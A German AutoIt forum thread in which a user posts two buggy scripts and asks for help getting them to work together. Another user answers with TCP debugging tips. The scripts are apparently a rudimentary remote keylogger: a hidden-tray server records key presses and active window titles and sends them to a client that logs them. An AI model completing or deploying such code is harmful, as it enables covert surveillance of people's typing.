Register for your free account! | Forgot your password?

Go Back   elitepvpers > Coders Den > AutoIt
You last visited: Today at 21:53

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



Autoit Problem TCP!

Discussion on Autoit Problem TCP! within the AutoIt forum part of the Coders Den category.

Reply
 
Old   #1
 
elite*gold: 0
Join Date: Oct 2013
Posts: 3
Received Thanks: 0
Autoit Problem TCP!

Nabend alle zusammen!

Ich habe ein kleines problem mit den 2 Scripten hier. Die wollen irgendwie nicht harmonieren. Könnt ihr mir da helfen? Ich hab sicher irgendwo flüchtigkeitsfehler oder bin einfach nur blöd.

Code:
#Include <Misc.au3>
#NoTrayIcon
TCPStartup() 
Local $window2 = ''
$Socket = TCPListen('(leleleIP adresse!)', 5900,1) ;Für (leleleIP) später §IPAdress einfügen

Do
$Connection = TCPAccept($Socket) 
Until $Connection <> -1 

$dll = DllOpen("user32.dll") 

While 1 ;Endlosschleife
if _IsPressed ('41', $dll) Then 
$window2 = WinGetTitle('') 

if $window - $window2 Then 
TCPSend($Connection,'a') 
Sleep(150)
Else 
$window2 - $window
TCPSend($Connection, @CRLF & '[' & @YEAR & "." & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC & '] Window : ' & $window & @CRLF) 
TCPSend($Connection, 'a') ; Sende an Client a
Sleep(150)
EndIf
EndIf
Sleep(1)
WEnd
und das hier


Code:
HotKeySet('(F1)','_disconnect')
HotKeySet('(F2)','_exit') ;Seite HotKeys

MsgBox(0,'Info','To save the logs, press F1 and for reconnect, start the client again.' & @CRLF & 'F2 = Exit')

#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <File.au3>
#include <GUIConstants.au3>

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Tester", 373, 426, 257, 155)
$ip_adress = GUICtrlCreateInput("Die IP adresse!", 16, 16, 121, 21)
$Button1 = GUICtrlCreateButton("Connection", 152, 16, 91, 25, 0)
$Status = GUICtrlCreateLabel("Disconnect", 272, 16, 58, 17)
GUICtrlSetColor(-1, 0xFF0000)
$Edit1 = GUICtrlCreateEdit("", 16, 56, 345, 321, BitOR($ES_AUTOVSCROLL,$ES_AUTOHSCROLL,$ES_READONLY,$ES_WANTRETURN))
$Button2 = GUICtrlCreateButton("Save", 16, 392, 345, 25, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

Global $disconnect = 0


While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit

Case $Button1
$disconnect = 0 
TCPStartup()

$Connection = TCPConnect(GUICtrlRead($ip_adress), 5900) 


If $Connection < 0 Then 
MsgBox(16, 'Error', 'Verbindung konnte nicht aufgebaut werden.')
_exit()
Else

While $disconnect = 0 ;Solange $disconnect auf 0 ist...
GUICtrlCreateData($status, 'Connected')
GUICtrlCreateColor($status, 0x00FF00)

$Resv = TCPRecv($Connection, 2) 
GUICtrlCreateData($Edit1, $Resv,1) 

if @error Then ;Wenn ein Error auftritt...
MsgBox(16,'Error','Verbindung unterbrochen!')
_exit()
EndIf
WEnd
EndIf

Case $Button2
if NOT FileExists(@ScriptDir & 'log.txt') Then 
_FileCreate('log-txt') 
Sleep(200)
$title = FileOpen('log.txt' , 1)
Else
$title = FileOpen('log.txt' , 1)
EndIf

FileWrite($File, GUICtrlRead($Edit1))

Sleep(500)
FileClose($file)


EndSwitch
WEnd

Func _disconnect()
$disconnect = 1 
GUICtrlSetData($status, 'Disconnected')
GUICtrlSetColor($status, 0xFF0000)
EndFunc

Func _exit()
TCPCloseSocket($Connection) 
TCPShutdown()
Exit
EndFunc

Das war es dann...
Zed17 is offline  
Old 10/30/2013, 19:47   #2
 
alpines's Avatar
 
elite*gold: 60
Join Date: Aug 2009
Posts: 2,256
Received Thanks: 815
Wo laufen die Scripte? Blockt die Firewall vielleicht den Zugang? Versuch die Server mal aus 127.0.0.1 zum laufen zu kriegen bevor du das online machst.
alpines is offline  
Old 10/30/2013, 19:49   #3
 
elite*gold: 0
Join Date: Oct 2013
Posts: 3
Received Thanks: 0
Hm.. Okay
Zed17 is offline  
Old 10/30/2013, 19:53   #4
 
alpines's Avatar
 
elite*gold: 60
Join Date: Aug 2009
Posts: 2,256
Received Thanks: 815
Warum testest du das Script online? Vielleicht blockt ja die Firewall, bring das Script erstmal auf 127.0.0.1 zum laufen und dann seh' weiter.

Außerdem musst du länger receiven als einmal, siehe:
Code:
Local $sReceived = ""
Do
	$sReceived &= TCPRecv($hServer, 2048)
Until $sReceived <> ""
Statt "" würde ich lieber ein Symbol am Ende jeden Packets setzen damit du dir 100%ig sicher sein kannst, das das Paket vollständig da ist.

//Sorry, Browser abgeschmiert aber das wollt ich noch hinzufügen, zu spät gesehen. Egal.
alpines is offline  
Thanks
1 User
Old 10/30/2013, 19:55   #5
 
elite*gold: 0
Join Date: Oct 2013
Posts: 3
Received Thanks: 0
Du hast recht
Zed17 is offline  
Reply

Tags
autoit, sender/empfänger modell, tcp




All times are GMT +1. The time now is 21:54.


Powered by vBulletin®
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.
This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2025 elitepvpers All Rights Reserved.